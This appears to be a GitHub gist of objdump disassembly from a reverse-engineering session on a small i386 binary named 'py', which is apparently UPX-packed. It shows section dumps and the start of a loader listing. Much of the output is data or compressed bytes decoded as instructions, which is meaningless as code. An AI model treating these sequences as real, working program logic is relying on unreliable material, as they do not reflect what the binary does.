804eb25: dd 04 08 fldl (%eax,%ecx,1)
804eb28: 0d dd 04 08 14 or $0x140804dd,%eax
804eb2d: dd 04 08 fldl (%eax,%ecx,1)
804eb30: 1b dd sbb %ebp,%ebx
804eb32: 04 08 add $0x8,%al
804eb34: 22 dd and %ch,%bl
804eb36: 04 08 add $0x8,%al
804eb38: 90 nop
804eb39: dc 04 08 faddl (%eax,%ecx,1)
804eb3c: 22 dd and %ch,%bl
804eb3e: 04 08 add $0x8,%al
804eb40: 2a dc sub %ah,%bl
804eb42: 04 08 add $0x8,%al
804eb44: 2a dc sub %ah,%bl
804eb46: 04 08 add $0x8,%al
804eb48: 2a dc sub %ah,%bl
804eb4a: 04 08 add $0x8,%al
804eb4c: 2a dc sub %ah,%bl
804eb4e: 04 08 add $0x8,%al
804eb50: 2a dc sub %ah,%bl
804eb52: 04 08 add $0x8,%al
804eb54: 2a dc sub %ah,%bl
804eb56: 04 08 add $0x8,%al
804eb58: 2a dc sub %ah,%bl
804eb5a: 04 08 add $0x8,%al
804eb5c: 2a dc sub %ah,%bl
804eb5e: 04 08 add $0x8,%al
804eb60: 29 dd sub %ebx,%ebp
804eb62: 04 08 add $0x8,%al
804eb64: 29 dd sub %ebx,%ebp
804eb66: 04 08 add $0x8,%al
804eb68: 06 push %es
804eb69: dd 04 08 fldl (%eax,%ecx,1)
804eb6c: 9a dc 04 08 a4 dc 04 lcall $0x4dc,$0xa40804dc
804eb73: 08 1b or %bl,(%ebx)
804eb75: dd 04 08 fldl (%eax,%ecx,1)
804eb78: 2a dc sub %ah,%bl
804eb7a: 04 08 add $0x8,%al
804eb7c: 2a dc sub %ah,%bl
804eb7e: 04 08 add $0x8,%al
804eb80: 2a dc sub %ah,%bl
804eb82: 04 08 add $0x8,%al
804eb84: 2a dc sub %ah,%bl
804eb86: 04 08 add $0x8,%al
804eb88: ff (bad)
804eb89: dc 04 08 faddl (%eax,%ecx,1)
804eb8c: 29 dd sub %ebx,%ebp
804eb8e: 04 08 add $0x8,%al
804eb90: 29 dd sub %ebx,%ebp
804eb92: 04 08 add $0x8,%al
804eb94: 2a dc sub %ah,%bl
804eb96: 04 08 add $0x8,%al
804eb98: 2a dc sub %ah,%bl
804eb9a: 04 08 add $0x8,%al
804eb9c: 2a dc sub %ah,%bl
804eb9e: 04 08 add $0x8,%al
804eba0: ae scas %es:(%edi),%al
804eba1: dc 04 08 faddl (%eax,%ecx,1)
804eba4: f1 icebp
804eba5: dc 04 08 faddl (%eax,%ecx,1)
804eba8: 2e dd 04 08 fldl %cs:(%eax,%ecx,1)
804ebac: 06 push %es
804ebad: dd 04 08 fldl (%eax,%ecx,1)
804ebb0: b8 dc 04 08 14 mov $0x140804dc,%eax
804ebb5: dd 04 08 fldl (%eax,%ecx,1)
804ebb8: 14 dd adc $0xdd,%al
804ebba: 04 08 add $0x8,%al
804ebbc: f8 clc
804ebbd: dc 04 08 faddl (%eax,%ecx,1)
804ebc0: 35 dd 04 08 51 xor $0x510804dd,%eax
804ebc5: dd 04 08 fldl (%eax,%ecx,1)
804ebc8: f1 icebp
804ebc9: dc 04 08 faddl (%eax,%ecx,1)
804ebcc: 2e dd 04 08 fldl %cs:(%eax,%ecx,1)
804ebd0: 51 push %ecx
804ebd1: dd 04 08 fldl (%eax,%ecx,1)
804ebd4: c2 dc 04 ret $0x4dc
804ebd7: 08 4a dd or %cl,-0x23(%edx)
804ebda: 04 08 add $0x8,%al
804ebdc: 29 dd sub %ebx,%ebp
804ebde: 04 08 add $0x8,%al
804ebe0: 29 dd sub %ebx,%ebp
804ebe2: 04 08 add $0x8,%al
804ebe4: cc int3
804ebe5: dc 04 08 faddl (%eax,%ecx,1)
804ebe8: d6 (bad)
804ebe9: dc 04 08 faddl (%eax,%ecx,1)
804ebec: 43 inc %ebx
804ebed: dd 04 08 fldl (%eax,%ecx,1)
804ebf0: 06 push %es
804ebf1: dd 04 08 fldl (%eax,%ecx,1)
804ebf4: 06 push %es
804ebf5: dd 04 08 fldl (%eax,%ecx,1)
804ebf8: 06 push %es
804ebf9: dd 04 08 fldl (%eax,%ecx,1)
804ebfc: 06 push %es
804ebfd: dd 04 08 fldl (%eax,%ecx,1)
804ec00: 2a dc sub %ah,%bl
804ec02: 04 08 add $0x8,%al
804ec04: 2a dc sub %ah,%bl
804ec06: 04 08 add $0x8,%al
804ec08: 29 dd sub %ebx,%ebp
804ec0a: 04 08 add $0x8,%al
804ec0c: 29 dd sub %ebx,%ebp
804ec0e: 04 08 add $0x8,%al
804ec10: 2a dc sub %ah,%bl
804ec12: 04 08 add $0x8,%al
804ec14: 2a dc sub %ah,%bl
804ec16: 04 08 add $0x8,%al
804ec18: 29 dd sub %ebx,%ebp
804ec1a: 04 08 add $0x8,%al
804ec1c: 34 dc xor $0xdc,%al
804ec1e: 04 08 add $0x8,%al
804ec20: 34 dc xor $0xdc,%al
804ec22: 04 08 add $0x8,%al
804ec24: 34 dc xor $0xdc,%al
804ec26: 04 08 add $0x8,%al
804ec28: 34 dc xor $0xdc,%al
804ec2a: 04 08 add $0x8,%al
804ec2c: 34 dc xor $0xdc,%al
804ec2e: 04 08 add $0x8,%al
804ec30: 34 dc xor $0xdc,%al
804ec32: 04 08 add $0x8,%al
804ec34: 34 dc xor $0xdc,%al
804ec36: 04 08 add $0x8,%al
804ec38: 34 dc xor $0xdc,%al
804ec3a: 04 08 add $0x8,%al
804ec3c: 34 dc xor $0xdc,%al
804ec3e: 04 08 add $0x8,%al
804ec40: 34 dc xor $0xdc,%al
804ec42: 04 08 add $0x8,%al
804ec44: 34 dc xor $0xdc,%al
804ec46: 04 08 add $0x8,%al
804ec48: 34 dc xor $0xdc,%al
804ec4a: 04 08 add $0x8,%al
804ec4c: 34 dc xor $0xdc,%al
804ec4e: 04 08 add $0x8,%al
804ec50: 34 dc xor $0xdc,%al
804ec52: 04 08 add $0x8,%al
804ec54: 34 dc xor $0xdc,%al
804ec56: 04 08 add $0x8,%al
804ec58: 34 dc xor $0xdc,%al
804ec5a: 04 08 add $0x8,%al
804ec5c: 34 dc xor $0xdc,%al
804ec5e: 04 08 add $0x8,%al
804ec60: dd dc fstp %st(4)
804ec62: 04 08 add $0x8,%al
804ec64: 2f das
804ec65: 64 65 76 2f fs gs jbe 0x804ec98
804ec69: 6e outsb %ds:(%esi),(%dx)
804ec6a: 75 6c jne 0x804ecd8
804ec6c: 6c insb (%dx),%es:(%edi)
...
804ed81: 02 00 add (%eax),%al
804ed83: 02 00 add (%eax),%al
804ed85: 02 00 add (%eax),%al
804ed87: 02 00 add (%eax),%al
804ed89: 02 00 add (%eax),%al
804ed8b: 02 00 add (%eax),%al
804ed8d: 02 00 add (%eax),%al
804ed8f: 02 00 add (%eax),%al
804ed91: 02 20 add (%eax),%ah
804ed93: 03 20 add (%eax),%esp
804ed95: 02 20 add (%eax),%ah
804ed97: 02 20 add (%eax),%ah
804ed99: 02 20 add (%eax),%ah
804ed9b: 02 00 add (%eax),%al
804ed9d: 02 00 add (%eax),%al
804ed9f: 02 00 add (%eax),%al
804eda1: 02 00 add (%eax),%al
804eda3: 02 00 add (%eax),%al
804eda5: 02 00 add (%eax),%al
804eda7: 02 00 add (%eax),%al
804eda9: 02 00 add (%eax),%al
804edab: 02 00 add (%eax),%al
804edad: 02 00 add (%eax),%al
804edaf: 02 00 add (%eax),%al
804edb1: 02 00 add (%eax),%al
804edb3: 02 00 add (%eax),%al
804edb5: 02 00 add (%eax),%al
804edb7: 02 00 add (%eax),%al
804edb9: 02 00 add (%eax),%al
804edbb: 02 00 add (%eax),%al
804edbd: 02 00 add (%eax),%al
804edbf: 02 60 01 add 0x1(%eax),%ah
804edc2: c0 04 c0 04 rolb $0x4,(%eax,%eax,8)
804edc6: c0 04 c0 04 rolb $0x4,(%eax,%eax,8)
804edca: c0 04 c0 04 rolb $0x4,(%eax,%eax,8)
804edce: c0 04 c0 04 rolb $0x4,(%eax,%eax,8)
804edd2: c0 04 c0 04 rolb $0x4,(%eax,%eax,8)
804edd6: c0 04 c0 04 rolb $0x4,(%eax,%eax,8)
804edda: c0 04 c0 04 rolb $0x4,(%eax,%eax,8)
804edde: c0 04 d8 08 rolb $0x8,(%eax,%ebx,8)
804ede2: d8 08 fmuls (%eax)
804ede4: d8 08 fmuls (%eax)
804ede6: d8 08 fmuls (%eax)
804ede8: d8 08 fmuls (%eax)
804edea: d8 08 fmuls (%eax)
804edec: d8 08 fmuls (%eax)
804edee: d8 08 fmuls (%eax)
804edf0: d8 08 fmuls (%eax)
804edf2: d8 08 fmuls (%eax)
804edf4: c0 04 c0 04 rolb $0x4,(%eax,%eax,8)
804edf8: c0 04 c0 04 rolb $0x4,(%eax,%eax,8)
804edfc: c0 04 c0 04 rolb $0x4,(%eax,%eax,8)
804ee00: c0 04 d5 08 d5 08 d5 rolb $0x8,-0x2af72af8(,%edx,8)
804ee07: 08
804ee08: d5 08 aad $0x8
804ee0a: d5 08 aad $0x8
804ee0c: d5 08 aad $0x8
804ee0e: c5 08 lds (%eax),%ecx
804ee10: c5 08 lds (%eax),%ecx
804ee12: c5 08 lds (%eax),%ecx
804ee14: c5 08 lds (%eax),%ecx
804ee16: c5 08 lds (%eax),%ecx
804ee18: c5 08 lds (%eax),%ecx
804ee1a: c5 08 lds (%eax),%ecx
804ee1c: c5 08 lds (%eax),%ecx
804ee1e: c5 08 lds (%eax),%ecx
804ee20: c5 08 lds (%eax),%ecx
804ee22: c5 08 lds (%eax),%ecx
804ee24: c5 08 lds (%eax),%ecx
804ee26: c5 08 lds (%eax),%ecx
804ee28: c5 08 lds (%eax),%ecx
804ee2a: c5 08 lds (%eax),%ecx
804ee2c: c5 08 lds (%eax),%ecx
804ee2e: c5 08 lds (%eax),%ecx
804ee30: c5 08 lds (%eax),%ecx
804ee32: c5 08 lds (%eax),%ecx
804ee34: c5 08 lds (%eax),%ecx
804ee36: c0 04 c0 04 rolb $0x4,(%eax,%eax,8)
804ee3a: c0 04 c0 04 rolb $0x4,(%eax,%eax,8)
804ee3e: c0 04 c0 04 rolb $0x4,(%eax,%eax,8)
804ee42: d6 (bad)
804ee43: 08 d6 or %dl,%dh
804ee45: 08 d6 or %dl,%dh
804ee47: 08 d6 or %dl,%dh
804ee49: 08 d6 or %dl,%dh
804ee4b: 08 d6 or %dl,%dh
804ee4d: 08 c6 or %al,%dh
804ee4f: 08 c6 or %al,%dh
804ee51: 08 c6 or %al,%dh
804ee53: 08 c6 or %al,%dh
804ee55: 08 c6 or %al,%dh
804ee57: 08 c6 or %al,%dh
804ee59: 08 c6 or %al,%dh
804ee5b: 08 c6 or %al,%dh
804ee5d: 08 c6 or %al,%dh
804ee5f: 08 c6 or %al,%dh
804ee61: 08 c6 or %al,%dh
804ee63: 08 c6 or %al,%dh
804ee65: 08 c6 or %al,%dh
804ee67: 08 c6 or %al,%dh
804ee69: 08 c6 or %al,%dh
804ee6b: 08 c6 or %al,%dh
804ee6d: 08 c6 or %al,%dh
804ee6f: 08 c6 or %al,%dh
804ee71: 08 c6 or %al,%dh
804ee73: 08 c6 or %al,%dh
804ee75: 08 c0 or %al,%al
804ee77: 04 c0 add $0xc0,%al
804ee79: 04 c0 add $0xc0,%al
804ee7b: 04 c0 add $0xc0,%al
804ee7d: 04 00 add $0x0,%al
804ee7f: 02 00 add (%eax),%al
...
Disassembly of section .ctors:
0804f000 <.ctors>:
804f000: ff (bad)
804f001: ff (bad)
804f002: ff (bad)
804f003: ff 00 incl (%eax)
804f005: 00 00 add %al,(%eax)
...
Disassembly of section .dtors:
0804f008 <.dtors>:
804f008: ff (bad)
804f009: ff (bad)
804f00a: ff (bad)
804f00b: ff 00 incl (%eax)
804f00d: 00 00 add %al,(%eax)
...
Disassembly of section .data:
0804f020 <.data>:
804f020: 00 00 add %al,(%eax)
804f022: 00 00 add %al,(%eax)
804f024: 0c f0 or $0xf0,%al
804f026: 04 08 add $0x8,%al
804f028: ff (bad)
804f029: ff (bad)
804f02a: ff (bad)
804f02b: ff (bad)
804f02c: ff (bad)
804f02d: ff (bad)
804f02e: ff (bad)
804f02f: ff 20 jmp *(%eax)
804f031: be 04 08 af fb mov $0xfbaf0804,%esi
804f036: de de (bad)
...
804f044: 01 00 add %eax,(%eax)
...
804f05a: 00 00 add %al,(%eax)
804f05c: 01 00 add %eax,(%eax)
...
804f072: 00 00 add %al,(%eax)
804f074: 01 00 add %eax,(%eax)
...
804f07e: 00 00 add %al,(%eax)
804f080: 93 xchg %eax,%ebx
804f081: e8 04 08 80 ed call 0xf584f88a
804f086: 04 08 add $0x8,%al
Disassembly of section .bss:
0804f0a0 <.bss>:
...
This file has been truncated, but you can view the full file.
> objdump --adjust-vma=0x08048000 -b binary -m i386 -D py --stop-address=0x0804bfe6 > loader0.asm
py: file format binary
Disassembly of section .data:
08048000 <.data>:
8048000: 7f 45 jg 0x8048047
8048002: 4c dec %esp
8048003: 46 inc %esi
8048004: 01 01 add %eax,(%ecx)
8048006: 01 03 add %eax,(%ebx)
...
8048010: 02 00 add (%eax),%al
8048012: 03 00 add (%eax),%eax
8048014: 01 00 add %eax,(%eax)
8048016: 00 00 add %al,(%eax)
8048018: 08 b7 04 08 34 00 or %dh,0x340804(%edi)
...
8048026: 00 00 add %al,(%eax)
8048028: 34 00 xor $0x0,%al
804802a: 20 00 and %al,(%eax)
804802c: 03 00 add (%eax),%eax
804802e: 28 00 sub %al,(%eax)
8048030: 00 00 add %al,(%eax)
8048032: 00 00 add %al,(%eax)
8048034: 01 00 add %eax,(%eax)
8048036: 00 00 add %al,(%eax)
8048038: 00 00 add %al,(%eax)
804803a: 00 00 add %al,(%eax)
804803c: 00 80 04 08 00 80 add %al,-0x7ffff7fc(%eax)
8048042: 04 08 add $0x8,%al
8048044: e6 3f out %al,$0x3f
8048046: 00 00 add %al,(%eax)
8048048: e6 3f out %al,$0x3f
804804a: 00 00 add %al,(%eax)
804804c: 05 00 00 00 00 add $0x0,%eax
8048051: 10 00 adc %al,(%eax)
8048053: 00 01 add %al,(%ecx)
...
804805d: c0 04 08 00 rolb $0x0,(%eax,%ecx,1)
8048061: c0 04 08 00 rolb $0x0,(%eax,%ecx,1)
8048065: 00 00 add %al,(%eax)
8048067: 00 c0 add %al,%al
8048069: 35 00 00 06 00 xor $0x60000,%eax
804806e: 00 00 add %al,(%eax)
8048070: 00 10 add %dl,(%eax)
8048072: 00 00 add %al,(%eax)
8048074: 51 push %ecx
8048075: e5 74 in $0x74,%eax
8048077: 64 00 00 add %al,%fs:(%eax)
...
804808a: 00 00 add %al,(%eax)
804808c: 06 push %es
804808d: 00 00 add %al,(%eax)
804808f: 00 04 00 add %al,(%eax,%eax,1)
8048092: 00 00 add %al,(%eax)
8048094: 48 dec %eax
8048095: 15 6d 38 55 50 adc $0x5055386d,%eax
804809a: 58 pop %eax
804809b: 21 ec and %ebp,%esp
804809d: 08 0d 0c 00 00 00 or %cl,0xc
80480a3: 00 58 72 add %bl,0x72(%eax)
80480a6: 00 00 add %al,(%eax)
80480a8: 58 pop %eax
80480a9: 72 00 jb 0x80480ab
80480ab: 00 94 00 00 00 5b 00 add %dl,0x5b0000(%eax,%eax,1)
80480b2: 00 00 add %al,(%eax)
80480b4: 02 00 add (%eax),%al
80480b6: 00 00 add %al,(%eax)
80480b8: 7f 3f jg 0x80480f9
80480ba: 64 f9 fs stc
80480bc: 7f 45 jg 0x8048103
80480be: 4c dec %esp
80480bf: 46 inc %esi
80480c0: 01 00 add %eax,(%eax)
80480c2: 02 00 add (%eax),%al
80480c4: 03 00 add (%eax),%eax
80480c6: 0d 64 81 04 fd or $0xfd048164,%eax
80480cb: e6 b3 out %al,$0xb3
80480cd: dd 08 fisttpll (%eax)
80480cf: 34 07 xor $0x7,%al
80480d1: c8 70 19 34 enter $0x1970,$0x34
80480d5: 00 20 add %ah,(%eax)
80480d7: 28 00 sub %al,(%eax)
80480d9: 0a 00 or (%eax),%al
80480db: 09 00 or %eax,(%eax)
80480dd: f7 fc idiv %esp
80480df: 6b 93 2d 80 23 03 80 imul $0xffffff80,0x323802d(%ebx),%edx
80480e6: 6f outsl %ds:(%esi),(%dx)
80480e7: 00 00 add %al,(%eax)
80480e9: 05 13 5c 9a e6 add $0xe69a5c13,%eax
80480ee: ec in (%dx),%al
80480ef: 10 00 adc %al,(%eax)
80480f1: 1f pop %ds
80480f2: 70 f0 jo 0x80480e4
80480f4: f0 88 00 lock mov %al,(%eax)
80480f7: 7b 1f jnp 0x8048118
80480f9: 64 b9 c0 05 06 51 fs mov $0x510605c0,%ecx
80480ff: e5 74 in $0x74,%eax
8048101: 64 0a 03 or %fs:(%ebx),%al
8048104: 00 60 9a add %ah,-0x66(%eax)
8048107: 23 06 and (%esi),%eax
8048109: 04 00 add $0x0,%al
804810b: 00 00 add %al,(%eax)
804810d: 00 00 add %al,(%eax)
804810f: 00 00 add %al,(%eax)
8048111: 48 dec %eax
8048112: ff (bad)
8048113: ec in (%dx),%al
8048114: 6e outsb %ds:(%esi),(%dx)
8048115: 00 00 add %al,(%eax)
8048117: 9f lahf
8048118: 35 00 00 02 49 xor $0x49020000,%eax
804811d: 06 push %es
804811e: 00 77 5f add %dh,0x5f(%edi)
8048121: fb sti
8048122: ff 55 89 call *-0x77(%ebp)
8048125: e5 53 in $0x53,%eax
8048127: e8 06 00 00 18 call 0x20048132
804812c: 81 c3 77 6f 06 0a add $0xa066f77,%ebx
8048132: 78 04 js 0x8048138
8048134: 67 98 addr16 cwtl
8048136: 5b pop %ebx
8048137: ff 5d c0 lcall *-0x40(%ebp)
804813a: fe (bad)
804813b: 5d pop %ebp
804813c: c3 ret
804813d: 8b 1c 24 mov (%esp),%ebx
8048140: c3 ret
8048141: 90 nop
8048142: 00 2b add %ch,(%ebx)
8048144: 83 ec 08 sub $0x8,%esp
8048147: 80 3d a0 f0 04 08 fe cmpb $0xfe,0x804f0a0
804814e: df dd (bad)
8048150: ff 00 incl (%eax)
8048152: 74 0c je 0x8048160
8048154: eb 35 jmp 0x804818b
8048156: 83 c0 04 add $0x4,%eax
8048159: a3 24 0c ff d2 mov %eax,0xd2ff0c24
804815e: a1 06 8b 10 85 mov 0x85108b06,%eax
8048163: d2 75 eb shlb %cl,-0x15(%ebp)
8048166: b8 00 ff b7 6f mov $0x6fb7ff00,%eax
804816b: ef out %eax,(%dx)
804816c: 00 85 c0 74 10 2b add %al,0x2b1074c0(%ebp)
8048172: 0c 68 or $0x68,%al
8048174: 80 ef 16 sub $0x16,%bh
8048177: e8 04 7f fb f7 call 0x80
804817c: 83 c4 10 add $0x10,%esp
804817f: c6 05 16 fb de 7e 38 movb $0x38,0x7edefb16
8048186: 01 c9 add %ecx,%ecx
8048188: 53 push %ebx
8048189: 8d b4 26 24 55 2a 54 lea 0x542a5524(%esi,%eiz,1),%esi
8048190: ee out %al,(%dx)
8048191: 8f (bad)
8048192: fd std
8048193: 2f das
8048194: 77 88 ja 0x804811e
8048196: 5a pop %edx
8048197: 81 c2 f4 6e 3b 15 add $0x153b6ef4,%edx
804819d: 52 push %edx
804819e: 6a 00 push $0x0
80481a0: 68 a4 2d eb dc push $0xdceb2da4
80481a5: 91 xchg %eax,%ecx
80481a6: 67 40 addr16 inc %eax
80481a8: c3 ret
80481a9: 7e a1 jle 0x804814c
80481ab: 10 11 adc %dl,(%ecx)
80481ad: 1d 16 62 bf ee sbb $0xeebf6216,%eax
80481b2: 77 0e ja 0x80481c2
80481b4: 0d 14 ff d0 1e or $0x1ed0ff14,%eax
80481b9: c9 leave
80481ba: ac lods %ds:(%esi),%al
80481bb: 31 ed xor %ebp,%ebp
80481bd: fd std
80481be: 65 f7 ff gs idiv %edi
80481c1: 5e pop %esi
80481c2: 89 e1 mov %esp,%ecx
80481c4: 83 e4 f0 and $0xfffffff0,%esp
80481c7: 50 push %eax
80481c8: 54 push %esp
80481c9: 52 push %edx
80481ca: 68 56 e8 40 94 push $0x9440e856
80481cf: 80 51 56 68 adcb $0x68,0x56(%ecx)
80481d3: 50 push %eax
80481d4: ac lods %ds:(%esi),%al
80481d5: 04 7f add $0x7f,%al
80481d7: f7 84 fd 64 5d 79 f4 testl $0x535657cf,-0xb86a29c(%ebp,%edi,8)
80481de: cf 57 56 53
80481e2: 43 inc %ebx
80481e3: 8a 5d 0c mov 0xc(%ebp),%bl
80481e6: 0f b6 7d 10 movzbl 0x10(%ebp),%edi
80481ea: ff (bad)
80481eb: ed in (%dx),%eax
80481ec: ef out %eax,(%dx)
80481ed: 6e outsb %ds:(%esi),(%dx)
80481ee: 03 75 18 add 0x18(%ebp),%esi
80481f1: 23 40 69 and 0x69(%eax),%eax
80481f4: 83 f8 ff cmp $0xffffffff,%eax
80481f7: 74 04 je 0x80481fd
80481f9: 5f pop %edi
80481fa: 7e 0e jle 0x804820a
80481fc: 8d 65 f4 lea -0xc(%ebp),%esp
80481ff: 5b pop %ebx
8048200: 5e pop %esi
8048201: 5f pop %edi
8048202: 2e 93 cs xchg %eax,%ebx
8048204: bd 0b 09 8d b6 mov $0xb68d090b,%ebp
8048209: 71 1b jno 0x8048226
804820b: 48 dec %eax
804820c: 75 4e jne 0x804825c
804820e: 77 fb ja 0x804820b
8048210: 76 ef jbe 0x8048201
8048212: 37 aaa
8048213: 8b 45 08 mov 0x8(%ebp),%eax
8048216: 50 push %eax
8048217: 14 59 adc $0x59,%al
8048219: f4 hlt
804821a: 19 b5 28 6a 09 0e sbb %esi,0xe096a28(%ebp)
8048220: 77 ff ja 0x8048221
8048222: 83 fd 41 cmp $0x41,%ebp
8048225: 1a c7 sbb %bh,%al
8048227: 04 24 add $0x24,%al
8048229: 2f das
804822a: 59 pop %ecx
804822b: 8d 89 f0 8b 5d 1c lea 0x1c5d8bf0(%ecx),%ecx
8048231: 25 ff 0e 53 50 and $0x50530eff,%eax
8048236: 89 59 e7 mov %ebx,-0x19(%ecx)
8048239: 3e f6 f8 ds idiv %al
804823c: 8b 4d 14 mov 0x14(%ebp),%ecx
804823f: 0b 51 50 or 0x50(%ecx),%edx
8048242: ff 12 call *(%edx)
8048244: b2 43 mov $0x43,%dl
8048246: 6a 26 push $0x26
8048248: cd bd int $0xbd
804824a: bb fb 31 c0 a0 mov $0xa0c031fb,%ebx
804824f: bc c8 89 45 f0 mov $0xf04589c8,%esp
8048254: 77 e8 ja 0x804823e
8048256: 8b 0d c0 0c 13 db mov 0xdb130cc0,%ecx
804825c: 97 xchg %eax,%edi
804825d: 85 ff test %edi,%edi
804825f: 8b 11 mov (%ecx),%edx
8048261: 3a 5a 04 cmp 0x4(%edx),%bl
8048264: 75 0f jne 0x8048275
8048266: eb ba jmp 0x8048222
8048268: 32 74 8b 14 xor 0x14(%ebx,%ecx,4),%dh
804826c: 81 38 0e 74 ff 1f cmpl $0x1fff740e,(%eax)
8048272: fb sti
8048273: ed in (%dx),%eax
8048274: ad lods %ds:(%esi),%eax
8048275: 40 inc %eax
8048276: 3b 25 75 f2 eb c2 cmp 0xc2ebf275,%esp
804827c: 55 push %ebp
804827d: bd 3c 8b 5c 24 mov $0x245c8b3c,%ebp
8048282: 54 push %esp
8048283: 8b 74 24 50 mov 0x50(%esp),%esi
8048287: 83 fb 03 cmp $0x3,%ebx
804828a: b6 ff mov $0xff,%dh
804828c: 66 db 77 0c data16 (bad) 0xc(%edi)
8048290: 54 push %esp
8048291: 3c b1 cmp $0xb1,%al
8048293: 2f das
8048294: 2e 66 c1 cd 08 cs ror $0x8,%bp
8048299: 02 10 add (%eax),%dl
804829b: fd std
804829c: db b7 f6 06 1d 39 (bad) 0x391d06f6(%edi)
80482a2: e2 8a loop 0x804822e
80482a4: 46 inc %esi
80482a5: 04 07 add $0x7,%al
80482a7: 05 88 44 24 17 add $0x17244488,%eax
80482ac: 74 d6 je 0x8048284
80482ae: 6f outsl %ds:(%esi),(%dx)
80482af: 1f pop %ds
80482b0: 5b pop %ebx
80482b1: b8 0b 05 84 42 mov $0x4284050b,%eax
80482b6: cf iret
80482b7: 8e 8d 53 fa 89 14 mov 0x1489fa53(%ebp),%cs
80482bd: 18 89 54 ee ff bf sbb %cl,-0x400011ac(%ecx)
80482c3: fb sti
80482c4: 24 30 and $0x30,%al
80482c6: 8d 04 80 lea (%eax,%eax,4),%eax
80482c9: 0a 10 or (%eax),%dl
80482cb: 39 c2 cmp %eax,%edx
80482cd: 72 b4 jb 0x8048283
80482cf: 50 push %eax
80482d0: 50 push %eax
80482d1: 6a 18 push $0x18
80482d3: 8d 7e 06 lea 0x6(%esi),%edi
80482d6: 8b 4c 24 24 mov 0x24(%esp),%ecx
80482da: 51 push %ecx
80482db: a4 movsb %ds:(%esi),%es:(%edi)
80482dc: bb b0 75 dd 4f mov $0x4fdd75b0,%ebx
80482e1: 4c dec %esp
80482e2: 18 48 b5 sbb %cl,-0x4b(%eax)
80482e5: 8b 26 mov (%esi),%esp
80482e7: 18 e9 sbb %ch,%cl
80482e9: 7e 3d jle 0x8048328
80482eb: 07 pop %es
80482ec: f6 9f 70 bb 10 89 negb -0x76ef4490(%edi)
80482f2: c1 69 16 06
View raw

(Sorry about that, but we can’t show files that are this big right now.)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment